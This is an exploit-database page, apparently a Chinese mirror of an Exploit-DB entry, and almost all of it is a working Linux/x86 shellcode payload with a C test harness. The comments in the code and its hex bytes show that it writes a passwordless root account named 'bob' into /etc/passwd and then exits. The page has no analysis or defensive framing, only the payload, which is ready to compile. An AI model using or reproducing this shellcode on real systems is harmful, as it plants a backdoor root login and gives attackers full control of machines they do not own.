https://www.exploit-db.com/exploits/43669
Linux/x86 - Add Root User To /etc/passwd + No Password + exit() Shellcode (83 bytes)






漏洞ID | 1057117 | 漏洞类型 | |
发布时间 | 2009-01-01 | 更新时间 | 2009-01-01 |
![]() |
N/A | ![]() |
N/A |
漏洞平台 | Linux_x86 | CVSS评分 | N/A |
|漏洞来源
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/* Linux x86 shellcode, to open() write() close() and */
/* exit(), adds a root user no-passwd to /etc/passwd */
/* By bob from dtors.net */
#include <stdio.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x53\x68\x73\x73\x77"
"\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74"
"\x89\xe3\x66\xb9\x01\x04\xb0\x05\xcd\x80\x89"
"\xc3\x31\xc0\x31\xd2\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x68\x3a\x3a\x2f\x3a\x68\x3a"
"\x30\x3a\x30\x68\x62\x6f\x62\x3a\x89\xe1\xb2"
"\x14\xb0\x04\xcd\x80\x31\xc0\xb0\x06\xcd\x80"
"\x31\xc0\xb0\x01\xcd\x80";
int
main()
{
void (*dsr) ();
(long) dsr = &shellcode;
printf("Size: %d bytes.\n", sizeof(shellcode));
dsr();
}
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